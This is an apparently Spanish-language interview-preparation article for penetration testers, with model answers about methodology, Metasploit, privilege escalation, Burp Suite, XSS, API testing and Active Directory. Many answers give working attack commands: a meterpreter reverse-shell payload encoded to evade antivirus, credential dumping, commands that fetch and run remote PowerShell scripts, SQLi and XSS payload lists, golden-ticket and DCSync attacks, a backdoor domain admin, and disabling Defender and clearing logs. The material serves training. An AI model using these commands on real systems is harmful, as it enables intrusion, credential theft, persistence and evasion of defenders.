Preguntas de entrevista para penetration tester

Introducción

Una buena respuesta en una entrevista de penetration tester demuestra tres cosas: trabajas dentro del alcance aprobado, pruebas de forma metódica y explicas el riesgo de manera útil para equipos técnicos y de negocio.

Usa estas preguntas para practicar las partes más importantes del rol: alcance, reconocimiento, priorización de vulnerabilidades, Burp Suite, Metasploit, pruebas de API, Active Directory e informes. Mantén tus respuestas centradas en pruebas autorizadas, evidencia clara y remediación.

Fundamentos de las Pruebas de Penetración

1. ¿Cuáles son las fases de una prueba de penetración?

Respuesta: Una buena metodología empieza antes de escanear. Primero confirma autorización escrita, alcance, reglas de participación, ventanas de prueba, límites de manejo de datos y contactos de emergencia. Después prueba de forma repetible:

1. Alcance y planificación:

Confirmar autorización escrita, objetivos, exclusiones y reglas de participación
Definir objetivos, criterios de éxito, canales de comunicación y condiciones de parada

2. Reconocimiento y descubrimiento:

Recopilar información pasiva y activa
Identificar hosts, servicios, flujos de la aplicación, roles de usuario y superficie expuesta

3. Análisis de vulnerabilidades:

Relacionar los hallazgos con impacto de negocio y explotabilidad
Validar manualmente los resultados de escáner antes de tratarlos como hallazgos

4. Explotación y post-explotación:

Explotar solo debilidades dentro del alcance y necesarias para demostrar impacto
Revisar límites de privilegios, movimiento lateral y exposición de datos sin superar las reglas

5. Informe, limpieza y retest:

Documentar evidencia, impacto, pasos de reproducción y remediación
Eliminar artefactos de prueba, explicar resultados y volver a probar correcciones si se solicita

Loading diagram...

Ejemplo de Reconocimiento:

# Reconocimiento pasivo
whois objetivo.com
nslookup objetivo.com
dig objetivo.com ANY

# Reconocimiento activo
nmap -sn 192.168.1.0/24  # Descubrimiento de hosts
nmap -sV -sC objetivo.com  # Detección de servicio/versión

Frecuencia: Muy Común
Dificultad: Media

Evaluación de Vulnerabilidades

2. ¿Cómo prioriza las vulnerabilidades?

Respuesta: Usa CVSS como punto de partida y ajústalo con explotabilidad, criticidad del activo, sensibilidad de los datos, exposición, controles compensatorios y explotación activa conocida. En entrevista importa demostrar que no tratas cada resultado del escáner como igual de urgente.

Puntuación CVSS:

Crítica (9.0-10.0): Ejecución remota de código, omisión de autenticación
Alta (7.0-8.9): Inyección SQL, XSS con acceso a datos
Media (4.0-6.9): Divulgación de información, CSRF
Baja (0.1-3.9): Fugas menores de información

Factores de Priorización:

def calcular_puntuación_de_riesgo(vulnerabilidad):
    """Calcular la puntuación de riesgo para la vulnerabilidad"""
    # Puntuación base CVSS
    puntuación_cvss = vulnerabilidad.cvss_score
    
    # Explotabilidad
    if vulnerabilidad.exploit_available:
        explotabilidad = 1.5
    elif vulnerabilidad.poc_available:
        explotabilidad = 1.2
    else:
        explotabilidad = 1.0
    
    # Criticidad del activo
    valor_del_activo = {
        'crítico': 3.0,  # Base de datos de producción
        'alto': 2.0,      # Aplicación web
        'medio': 1.5,    # Herramienta interna
        'bajo': 1.0        # Entorno de prueba
    }[vulnerabilidad.asset_criticality]
    
    # Sensibilidad de los datos
    sensibilidad_de_datos = {
        'pii': 2.0,       # Datos personales
        'financieros': 2.5, # Información de pago
        'confidencial': 1.5,
        'público': 1.0
    }[vulnerabilidad.data_type]
    
    puntuación_de_riesgo = puntuación_cvss * explotabilidad * valor_del_activo * sensibilidad_de_datos
    return min(puntuación_de_riesgo, 10.0)  # Límite en 10

Frecuencia: Muy Común
Dificultad: Media

Metasploit

3. ¿Cómo usa Metasploit para explotar una vulnerabilidad?

Respuesta: Flujo de trabajo de Metasploit Framework:

Explotación Básica:

# Iniciar Metasploit
msfconsole

# Buscar exploit
search ms17-010  # EternalBlue

# Usar exploit
use exploit/windows/smb/ms17_010_eternalblue

# Mostrar opciones
show options

# Establecer objetivo
set RHOSTS 192.168.1.100

# Establecer payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Comprobar si el objetivo es vulnerable
check

# Ejecutar exploit
exploit

Comandos de Meterpreter:

# Información del sistema
sysinfo
getuid

# Escalada de privilegios
getsystem

# Volcar credenciales
hashdump
load kiwi
cred_all

# Persistencia
run persistence -X -i 60 -p 4444 -r 192.168.1.50

# Pivoting
run autoroute -s 10.0.0.0/24
portfwd add -l 3389 -p 3389 -r 10.0.0.10

Generación de Payload:

# Generar shell inversa
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# Codificar para evadir AV
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_payload.exe

Frecuencia: Muy Común
Dificultad: Media-Difícil

4. ¿Cómo realiza la escalada de privilegios?

Respuesta: La escalada de privilegios explota las configuraciones erróneas para obtener niveles de acceso más altos.

Escalada de Privilegios en Linux:

1. Enumeración:

# Información del sistema
uname -a
cat /etc/issue
cat /etc/*-release

# Usuario actual y privilegios
id
sudo -l

# Usuarios y grupos
cat /etc/passwd
cat /etc/group

# Binarios SUID
find / -perm -4000 -type f 2>/dev/null

# Directorios de escritura
find / -writable -type d 2>/dev/null

# Trabajos Cron
crontab -l
cat /etc/crontab
ls -la /etc/cron*

# Conexiones de red
netstat -antup
ss -tulpn

2. Técnicas Comunes:

Explotación de SUID:

# Encontrar binarios SUID
find / -perm -u=s -type f 2>/dev/null

# Ejemplo: Explotar find
find /home -exec /bin/sh \; -quit

# Ejemplo: Explotar vim
vim -c ':!/bin/sh'

# Ejemplo: Explotar nmap (versiones antiguas)
nmap --interactive
nmap> !sh

Configuración Errónea de Sudo:

# Comprobar permisos de sudo
sudo -l

# Ejemplo de salida:
# (ALL) NOPASSWD: /usr/bin/vim

# Explotar vim
sudo vim -c ':!/bin/sh'

# Ejemplo: LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find

Exploits del Kernel:

# Comprobar la versión del kernel
uname -r

# Buscar exploits
searchsploit linux kernel 4.4.0

# Ejemplo: Dirty COW
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

3. Herramientas Automatizadas:

# LinPEAS (Linux Privilege Escalation Awesome Script)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Escalada de Privilegios en Windows:

1. Enumeración:

# Información del sistema
systeminfo
hostname
whoami /all

# Usuarios y grupos
net user
net localgroup administrators

# Procesos en ejecución
tasklist /v
wmic process list full

# Servicios
sc query
wmic service list brief

# Tareas programadas
schtasks /query /fo LIST /v

# Conexiones de red
netstat -ano

# Software instalado
wmic product get name,version

2. Técnicas Comunes:

Rutas de Servicio sin Comillas:

# Encontrar rutas de servicio sin comillas
wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Explotar
C:\Program Files\Vulnerable App\service.exe
# Crear ejecutable malicioso en:
C:\Program.exe

AlwaysInstallElevated:

# Comprobar el registro
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Si ambos son 1, crear MSI malicioso
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

Suplantación de Tokens:

# Meterpreter
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

3. Herramientas Automatizadas:

# WinPEAS
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
Invoke-WinPEAS

# PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

# Sherlock (Exploits del Kernel)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns

Frecuencia: Muy Común
Dificultad: Difícil

Burp Suite

5. ¿Cómo encuentra la inyección SQL utilizando Burp Suite?

Respuesta: Pruebas sistemáticas de inyección SQL:

1. Interceptar Solicitud:

POST /login HTTP/1.1
Host: objetivo.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

2. Enviar al Repeater: Probar payloads manuales:

username=admin' OR '1'='1&password=test
username=admin' AND 1=1--&password=test
username=admin' UNION SELECT NULL--&password=test

3. Usar Intruder:

Tipo de Ataque: Sniper
Posición del Payload: username=§admin§
Lista de Payloads:
  ' OR '1'='1
  ' OR 1=1--
  ' UNION SELECT NULL--
  ' UNION SELECT NULL,NULL--
  admin'--
  ' OR 'a'='a

4. Analizar Respuestas:

Diferentes longitudes de respuesta
Mensajes de error
Retrasos de tiempo (SQLi ciego)

Pruebas Avanzadas:

# Detección de inyección SQL ciega
import requests
import time

def probar_sqli_ciego(url, param):
    # Detección basada en el tiempo
    payloads = [
        "' AND SLEEP(5)--",
        "' OR SLEEP(5)--",
        "'; WAITFOR DELAY '00:00:05'--"
    ]
    
    for payload in payloads:
        start = time.time()
        response = requests.post(url, data={param: payload})
        elapsed = time.time() - start
        
        if elapsed > 5:
            print(f"[+] SQLi ciego encontrado con el payload: {payload}")
            return True
    
    return False

Frecuencia: Muy Común
Dificultad: Media

Pruebas de Aplicaciones Web

6. ¿Cómo prueba las vulnerabilidades XSS?

Respuesta: Enfoque integral de prueba de XSS:

Tipos de XSS:

Reflejado: Payload en la URL/formulario, reflejado inmediatamente
Almacenado: Payload almacenado en la base de datos
Basado en DOM: Vulnerabilidad de JavaScript del lado del cliente

Metodología de Prueba:

1. Identificar Puntos de Inyección:

# Parámetros de la URL
http://objetivo.com/search?q=<script>alert(1)</script>

# Entradas del formulario
<input name="comment" value="<script>alert(1)</script>">

# Encabezados HTTP
User-Agent: <script>alert(1)</script>

2. Evitar Filtros:

// Payloads básicos
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// Evitar filtros
<scr<script>ipt>alert(1)</script>
<img src=x onerror="alert(1)">
<IMG SRC=x ONERROR=alert(1)>  // Variación de mayúsculas y minúsculas

// Manejadores de eventos
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

// Payloads codificados
&#60;script&#62;alert(1)&#60;/script&#62;
\u003cscript\u003ealert(1)\u003c/script\u003e

3. Pruebas XSS con Burp Suite:

Lista de Payloads de Intruder:
  <script>alert(document.domain)</script>
  <img src=x onerror=alert(1)>
  <svg/onload=alert(1)>
  javascript:alert(1)
  <iframe src="javascript:alert(1)">

4. Escaneo Automatizado:

# XSStrike
python xsstrike.py -u "http://objetivo.com/search?q=test"

# Dalfox
dalfox url http://objetivo.com/search?q=FUZZ

Frecuencia: Muy Común
Dificultad: Media

7. ¿Cómo prueba la seguridad de la API?

Respuesta: Las pruebas de seguridad de la API se centran en la autenticación, la autorización y la validación de la entrada.

Vulnerabilidades Comunes de la API:

1. Autenticación Rota:

# Probar JWT débil
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0..." https://api.example.com/user

# JWT con "alg": "none"
# Modificar el payload y eliminar la firma

2. Autorización Rota:

# IDOR (Referencia Directa Insegura a Objetos)
curl https://api.example.com/user/123
curl https://api.example.com/user/124  # Probar otros IDs de usuario

# Probar diferentes métodos HTTP
curl -X DELETE https://api.example.com/user/123
curl -X PUT https://api.example.com/user/123 -d '{"role":"admin"}'

3. Asignación Masiva:

# Intentar agregar campos de administrador
curl -X POST https://api.example.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "atacante",
    "password": "pass123",
    "role": "admin",
    "is_admin": true
  }'

Pruebas de API REST:

# Pruebas automatizadas de API
import requests
import json

class APISecurityTester:
    def __init__(self, base_url, token=None):
        self.base_url = base_url
        self.headers = {}
        if token:
            self.headers['Authorization'] = f'Bearer {token}'
    
    def test_idor(self, endpoint, id_range):
        """Probar vulnerabilidades IDOR"""
        accessible_ids = []
        
        for user_id in range(id_range[0], id_range[1]):
            url = f"{self.base_url}/{endpoint}/{user_id}"
            response = requests.get(url, headers=self.headers)
            
            if response.status_code == 200:
                accessible_ids.append(user_id)
                print(f"[+] Accesible: {user_id}")
        
        return accessible_ids
    
    def test_rate_limiting(self, endpoint):
        """Probar la limitación de velocidad"""
        for i in range(1000):
            response = requests.get(
                f"{self.base_url}/{endpoint}",
                headers=self.headers
            )
            
            if response.status_code == 429:
                print(f"[+] Limitación de velocidad aplicada después de {i} solicitudes")
                return True
        
        print("[-] No se detectó limitación de velocidad")
        return False
    
    def test_injection(self, endpoint, payloads):
        """Probar vulnerabilidades de inyección"""
        for payload in payloads:
            data = {"search": payload}
            response = requests.post(
                f"{self.base_url}/{endpoint}",
                headers=self.headers,
                json=data
            )
            
            # Comprobar errores SQL
            if any(err in response.text.lower() for err in 
                   ['sql', 'mysql', 'sqlite', 'postgresql', 'oracle']):
                print(f"[!] Potencial inyección SQL: {payload}")
                print(f"Respuesta: {response.text[:200]}")
    
    def test_authentication_bypass(self, login_endpoint):
        """Probar la omisión de autenticación"""
        bypass_payloads = [
            {"username": "admin' OR '1'='1", "password": "anything"},
            {"username": "admin", "password": "' OR '1'='1"},
            {"username": "admin'--", "password": ""},
        ]
        
        for payload in bypass_payloads:
            response = requests.post(
                f"{self.base_url}/{login_endpoint}",
                json=payload
            )
            
            if response.status_code == 200:
                print(f"[!] Potencial omisión de autenticación: {payload}")

# Uso
tester = APISecurityTester('https://api.example.com')
tester.test_idor('users', (1, 100))
tester.test_rate_limiting('api/search')

Pruebas de GraphQL:

# Consulta de introspección
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args {
          name
          type { name }
        }
      }
    }
  }
}

# Inyección GraphQL
query = '''
query {
  user(id: "1' OR '1'='1") {
    id
    username
    email
  }
}
'''

# Ataque de procesamiento por lotes de GraphQL
queries = [
    {"query": "query { user(id: 1) { id username } }"},
    {"query": "query { user(id: 2) { id username } }"},
    # ... repetir 1000 veces
]

response = requests.post(
    'https://api.example.com/graphql',
    json=queries
)

Fuzzing de API:

# Usando ffuf para el fuzzing de API
ffuf -w wordlist.txt -u https://api.example.com/FUZZ -mc 200,301,302

# Fuzzing de parámetros
ffuf -w params.txt -u https://api.example.com/api?FUZZ=test -mc 200

# Fuzzing de métodos
for method in GET POST PUT DELETE PATCH OPTIONS; do
    curl -X $method https://api.example.com/api/resource
done

Postman/Burp Suite:

// Script pre-solicitud de Postman
const payload = "' OR '1'='1";
pm.environment.set("injection_payload", payload);

// Script de prueba de Postman
pm.test("Comprobar si hay error SQL", function () {
    pm.expect(pm.response.text()).to.not.include("SQL");
    pm.expect(pm.response.text()).to.not.include("mysql");
});

OWASP API Security Top 10:

Autorización de Nivel de Objeto Rota - Probar IDOR
Autenticación Rota - Probar tokens débiles
Exposición Excesiva de Datos - Comprobar los datos de respuesta
Falta de Recursos y Limitación de Velocidad - Probar DoS
Autorización de Nivel de Función Rota - Probar la escalada de privilegios
Asignación Masiva - Probar la contaminación de parámetros
Configuración Errónea de Seguridad - Comprobar los encabezados, CORS
Inyección - Probar SQLi, NoSQLi, inyección de comandos
Gestión Inadecuada de Activos - Encontrar versiones antiguas de la API
Registro y Monitorización Insuficientes - Comprobar los registros de auditoría

Frecuencia: Común
Dificultad: Media-Difícil

Pruebas de Penetración de Red

8. ¿Cómo realiza las pruebas de penetración de red?

Respuesta: Evaluación estructurada de la red:

1. Descubrimiento de la Red:

# Barrido de ping
nmap -sn 192.168.1.0/24

# Escaneo ARP (red local)
arp-scan -l

# Identificar hosts activos
netdiscover -r 192.168.1.0/24

2. Escaneo de Puertos:

# Escaneo TCP SYN (sigiloso)
nmap -sS 192.168.1.100

# Detección de la versión del servicio
nmap -sV 192.168.1.100

# Detección del SO
nmap -O 192.168.1.100

# Escaneo agresivo
nmap -A -T4 192.168.1.100

# Todos los puertos
nmap -p- 192.168.1.100

3. Escaneo de Vulnerabilidades:

# Scripts NSE de Nmap
nmap --script vuln 192.168.1.100

# Vulnerabilidad específica
nmap --script smb-vuln-ms17-010 192.168.1.100

# OpenVAS/Nessus para un escaneo completo

4. Explotación:

# Explotación de SMB
use exploit/windows/smb/ms17_010_eternalblue

# Fuerza bruta SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

5. Post-Explotación:

# Movimiento lateral
# Volcado de credenciales
# Escalada de privilegios
# Persistencia

Frecuencia: Muy Común
Dificultad: Difícil

9. ¿Cómo ataca los entornos de Active Directory?

Respuesta: Active Directory es un objetivo principal con muchos vectores de ataque.

Enumeración:

# Enumeración de PowerView
Import-Module PowerView.ps1

# Obtener información del dominio
Get-Domain
Get-DomainController

# Enumerar usuarios
Get-DomainUser
Get-DomainUser -Identity administrator

# Enumerar grupos
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# Encontrar recursos compartidos
Find-DomainShare -CheckShareAccess

# Encontrar ordenadores
Get-DomainComputer

BloodHound:

# Recopilar datos con SharpHound
.\SharpHound.exe -c All

# O con PowerShell
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# Subir JSON a la GUI de BloodHound
# Analizar las rutas de ataque a los administradores de dominio

Kerberoasting:

# Solicitar tickets de servicio
Import-Module Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat

# O con Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Crack con hashcat
hashcat -m 13100 hashes.txt wordlist.txt

AS-REP Roasting:

# Encontrar usuarios con "No se requiere preautenticación Kerberos"
Get-DomainUser -PreauthNotRequired

# Solicitar AS-REP
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Crack
hashcat -m 18200 asrep_hashes.txt wordlist.txt

Pass-the-Hash:

# Usando Impacket
python3 psexec.py -hashes :ntlmhash [email protected]

# Usando CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash

# Volcar SAM
python3 secretsdump.py -hashes :ntlmhash [email protected]

Pass-the-Ticket:

# Exportar tickets con Mimikatz
mimikatz # sekurlsa::tickets /export

# Inyectar ticket
mimikatz # kerberos::ptt ticket.kirbi

# O con Rubeus
.\Rubeus.exe ptt /ticket:ticket.kirbi

Golden Ticket:

# Obtener el hash krbtgt
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt

# Crear un ticket dorado
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /id:500

# Inyectar ticket
mimikatz # kerberos::ptt ticket.kirbi

Silver Ticket:

# Obtener el hash de la cuenta de servicio
mimikatz # sekurlsa::logonpasswords

# Crear un ticket plateado para un servicio específico
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:server.example.com /service:cifs /rc4:hash

Ataque DCSync:

# Mimikatz
mimikatz # lsadump::dcsync /domain:example.com /user:Administrator

# Impacket
python3 secretsdump.py example.com/user:[email protected]

Movimiento Lateral:

# PSExec
.\PsExec.exe \\target -u domain\user -p password cmd

# WMI
wmic /node:target /user:domain\user /password:password process call create "cmd.exe"

# PowerShell Remoting
Enter-PSSession -ComputerName target -Credential domain\user

# RDP
xfreerdp /u:domain\user /p:password /v:target

Persistencia:

# Crear administrador de dominio
net user backdoor Password123! /add /domain
net group "Domain Admins" backdoor /add /domain

# Ticket dorado (a largo plazo)
# Ticket plateado (servicio específico)

# Llave maestra (Mimikatz)
mimikatz # misc::skeleton
# Ahora cualquier usuario puede autenticarse con la contraseña "mimikatz"

Evasión de la Defensa:

# Desactivar Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

# Borrar los registros de eventos
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Ofuscar PowerShell
Invoke-Obfuscation

Frecuencia: Común
Dificultad: Difícil

Informes

10. ¿Qué debe incluir un informe de pruebas de penetración?

Respuesta: Estructura integral de informes:

Resumen Ejecutivo:

Hallazgos de alto nivel
Impacto empresarial
Visión general del riesgo
Recomendaciones

Detalles Técnicos:

Hallazgo de ejemplo: Inyección SQL en el Formulario de Inicio de Sesión

Gravedad: Crítica (CVSS 9.8)

Descripción: El formulario de inicio de sesión en /admin/login es vulnerable a la inyección SQL, lo que permite a los atacantes omitir la autenticación y acceder al panel de administración.

Activo Afectado:

URL: https://objetivo.com/admin/login
Parámetro: username
Método: POST

Prueba de Concepto:

POST /admin/login HTTP/1.1
Host: objetivo.com

username=admin' OR '1'='1'--&password=anything

Impacto:

Acceso no autorizado al panel de administración
Acceso a datos confidenciales de los clientes
Potencial compromiso de la base de datos

Remediación:

Utilizar consultas parametrizadas
Implementar la validación de la entrada
Aplicar el principio de mínimo privilegio al usuario de la base de datos

Frecuencia: Muy Común
Dificultad: Media

Conclusión

Las entrevistas para testers de penetración requieren experiencia práctica y un profundo conocimiento técnico. Céntrese en:

Metodología: Enfoque de prueba estructurado, documentación
Evaluación de Vulnerabilidades: Priorización del riesgo, puntuación CVSS
Herramientas: Metasploit, Burp Suite, Nmap, scripts personalizados
Escalada de Privilegios: Técnicas de Linux y Windows, herramientas de automatización
Pruebas Web: Inyección SQL, XSS, omisión de autenticación
Pruebas de API: Seguridad REST/GraphQL, fallos de autorización
Pruebas de Red: Escaneo, explotación, movimiento lateral
Active Directory: Kerberoasting, Pass-the-Hash, BloodHound
Informes: Documentación clara, impacto empresarial, remediación

Practica en laboratorios legales y aplicaciones vulnerables creadas para entrenar, construye una checklist repetible y practica escribir hallazgos con la misma claridad con la que practicas la explotación. Los mejores candidatos muestran criterio: cuándo detenerse, cómo probar el impacto de forma segura y cómo ayudar al equipo a corregir.

Consejos de carrera recientes

Preguntas de entrevista para penetration tester

Introducción

Fundamentos de las Pruebas de Penetración

1. ¿Cuáles son las fases de una prueba de penetración?

Evaluación de Vulnerabilidades

2. ¿Cómo prioriza las vulnerabilidades?

Metasploit

3. ¿Cómo usa Metasploit para explotar una vulnerabilidad?

4. ¿Cómo realiza la escalada de privilegios?

Burp Suite

5. ¿Cómo encuentra la inyección SQL utilizando Burp Suite?

Pruebas de Aplicaciones Web

6. ¿Cómo prueba las vulnerabilidades XSS?

7. ¿Cómo prueba la seguridad de la API?

Pruebas de Penetración de Red

8. ¿Cómo realiza las pruebas de penetración de red?

9. ¿Cómo ataca los entornos de Active Directory?

Informes

10. ¿Qué debe incluir un informe de pruebas de penetración?

Conclusión

Consejos de carrera semanales que realmente funcionan

Consejos de carrera semanales que realmente funcionan

Publicaciones Relacionadas

Preguntas de entrevista para arquitecto cloud: arquitectura y seguridad

Preguntas de entrevista para ingeniero de seguridad senior

Preguntas y respuestas para entrevistas de ingeniero de red senior

Destácate ante los Reclutadores y Consigue el Trabajo de Tus Sueños

Compartir esta publicación

Haz que tus 6 Segundos Cuenten